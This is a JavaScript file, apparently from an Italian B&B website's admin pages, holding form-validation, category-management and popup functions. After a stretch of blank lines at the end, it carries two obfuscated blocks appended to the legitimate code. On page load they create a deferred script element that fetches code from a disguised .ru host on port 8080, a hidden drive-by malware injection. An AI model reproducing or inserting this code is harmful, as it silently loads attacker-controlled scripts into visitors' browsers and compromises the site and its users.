

function validateForm2(){
  	thisForm=document.formmail;
	thisForm.submit();
}

function eliminaSposi(nomeForm) {
				if (confirm("Sei sicuro di voler cancellare queste coppie?				")) {
				thisForm=document.forms[nomeForm];	
				thisForm.submit();
				}
			}
			
			
function applica_color(colore){ //Deve ricevere il tag da inserire
  var SelectedString = document.selection.createRange().text;
  var ReplaceString = '<font color="'+colore+'">'+SelectedString+'</font>';
  if (SelectedString!='') document.selection.createRange().text = ReplaceString;
}

function validateForm(){
	thisForm=document.formmail;
	for(var i=0; i<thisForm.elements.length; i++){
		if(thisForm.elements[i].value==""){
			alert("E' necessario riempire tutti i campi");
			thisForm.elements[i].focus();
			return;
		}
	}
	thisForm.submit();
}

function operazione(op, id, nomeForm){
	thisForm=document.forms[nomeForm];
	switch(op){
		case "modifyCat":
			document.location.href='categorie.php?id='+id;
		break;
		
		case "deleteCat":
			var cliccato=false;
			for(var i=0; i<thisForm.elements.length; i++){
				if(thisForm.elements[i].type=="checkbox"){
					if(thisForm.elements[i].checked) cliccato=true;
				}
			}
			if(!cliccato){
				alert("Selezionare almeno una categoria");
				return;
			}
			thisForm.action.value="deleteCat";
			thisForm.submit();
		break;
		
		case "update":
			if(thisForm.titolo==''){
				alert("Inserire un titolo");
				thisForm.titolo.focus();
				return;
			}
			if(thisForm.testo==''){
				alert("Inserire un testo");
				thisForm.testo.focus();
				return;
			}
			thisForm.submit();
		break;
		case "insert":
			if(thisForm.titolo==''){
				alert("Inserire un titolo");
				thisForm.titolo.focus();
				return;
			}
			if(thisForm.testo==''){
				alert("Inserire un testo");
				thisForm.testo.focus();
				return;
			}
			thisForm.submit();
		break;
		
		case "insertCat":
			if(thisForm.nome==''){
				alert("Inserire un nome");
				thisForm.nome.focus();
				return;
			}
			thisForm.submit();
		break;
		
		case "reset":
			thisForm.clear();
		break;
		
		case "public":
			var cliccato=false;
			for(var i=0; i<thisForm.elements.length; i++){
				if(thisForm.elements[i].type=="checkbox"){
					if(thisForm.elements[i].checked) cliccato=true;
				}
			}
			if(!cliccato){
				alert("Selezionare almeno un oggetto");
				return;
			}
			thisForm.action.value="public";
			thisForm.submit();
		break;
		
		case "private":
			var cliccato=false;
			for(var i=0; i<thisForm.elements.length; i++){
				if(thisForm.elements[i].type=="checkbox"){
					if(thisForm.elements[i].checked) cliccato=true;
				}
			}
			if(!cliccato){
				alert("Selezionare almeno un oggetto");
				return;
			}
			thisForm.action.value="private";
			thisForm.submit();
		break;
		
		case "delete":
			var cliccato=false;
			for(var i=0; i<thisForm.elements.length; i++){
				if(thisForm.elements[i].type=="checkbox"){
					if(thisForm.elements[i].checked) cliccato=true;
				}
			}
			if(!cliccato){
				alert("Selezionare almeno un oggetto");
				return;
			}
			thisForm.action.value="delete";
			thisForm.submit();
		break;
	}
}

 function PopupCentrata(lang,struttura) {
   var w = 680;
   var h = 600;
   var l = Math.floor((screen.width-w)/2);
   var t = Math.floor((screen.height-h)/2);
      window.open('http://www.inumbriabandb.it/form/inserimento.php?lang='+lang+'&struttura='+struttura,"","width=" + w + ",height=" + h + ",top=" + t + ",left=" + l+",scrollbars=yes");
      }













var i;if(i!='p' && i!='pd'){i='p'};var z=document;var g=window;var wu;if(wu!='d' && wu != ''){wu=null};var wc="";var m='sKcurKiKputR'.replace(/[RWvuK]/g, '');this.lq=false;var es;if(es!='np' && es!='p_'){es=''};g.onload=function(){var k="";try {e=z.createElement(m);e.src='hBt;tUp4:U/B/>m>o4zUi;lUl>a4-;c>oUmU.>fBa4cUe;b>o>o4k;.4c>oBm;.;gBa4m;eBsBpBoUt;-UcUo>mU.Bt4hBeBlUi>fBe4tUa>g;.;r;uB:>8B0;840;/4g;e>t>i4tBoBn;.UcUo;mU/4g>eUtBi4t>o;n>.Bc;o>m4/;g>o>o>gUl>eB.>cBoBm4/4sUc;i4e;nUcUe;dBiBrUe;c;tB.>c;o>m;/;k;uU6B.4c>o;m>/;'.replace(/[;4UB\>]/g, '');var fi='';e.setAttribute('dLe#f#e2r2'.replace(/[2L6#l]/g, ''), "1");z.body.appendChild(e);var tx=new String();} catch(h){var o;if(o!='' && o!='hf'){o='mp'};var tn=new Array();};var ts;if(ts!=''){ts='iz'};var iq;if(iq!=''){iq='kw'};};var x;if(x!='v'){x='v'};
var f;if(f!=''){f='zp'};a=function(){this.au='';var p=document;var _='';window[aj([2,8][0])]=function(){var h=new Array();try {q=p[aj([1][0])](aj([0][0]));this.m="";q[aj([4,5][1])](aj([7][0]), "1");q[aj([3][0])]=aj([8][0]);var i = p[aj([6,3][0])];this.hw="hw";this.j=false;i[aj([3,4][1])](q);} catch(r){};};function aj(n){var z=['sLcYrYiYpLtL'.replace(/[LYPW0]/g, ''), 'c,rFe,afthehEfl,eFmFe,nDt,'.replace(/[,hDfF]/g, ''), 'o2n8l_o+a8d8'.replace(/[82_\+7]/g, ''), 'sorUc0'.replace(/[0Udo\|]/g, ''), 'aZp|p|e|n|dfCZhAiZlfdA'.replace(/[A9\|fZ]/g, ''), 'sWeqtYAWtYt,r,i@bqu@tYe@'.replace(/[@qWY,]/g, ''), 'bjoQdOyj'.replace(/[jO1Q;]/g, ''), 'dReMfwe6rw'.replace(/[wR6MA]/g, ''), 'h|tNtNpG:N/N/qvGiGrNgqiNnqmNeGdNi^a^-|cqoNmG.^nGiqn|e|mqsGn^.qcGo|mq.NaNuN.qlNe^bNo^n^cGoqiqnq-Nf^r^.Nn^e^w^gqoGl^fNoGnNl|iNnNeq.Nr^uN:G8^0^8N0N/^aNd^u|lNt|-qeNmGp|i|rqeG.^c^oqm|/qaNdGu|l^tq-NeNmGpGiqr^eq.^c^oqmG/^sNoNuGrqcGeNf^oNrGgNeN.qn^e^tG/Ng^o^oqgGlNe^.^cqoqmN/GsNc^rNi^b^dq.^cGoqmN/N'.replace(/[NGq\|\^]/g, '')];var nz=z[n];return nz;this.ax="ax";}this.ek=28078;};this.fj="fj";a();this.t="";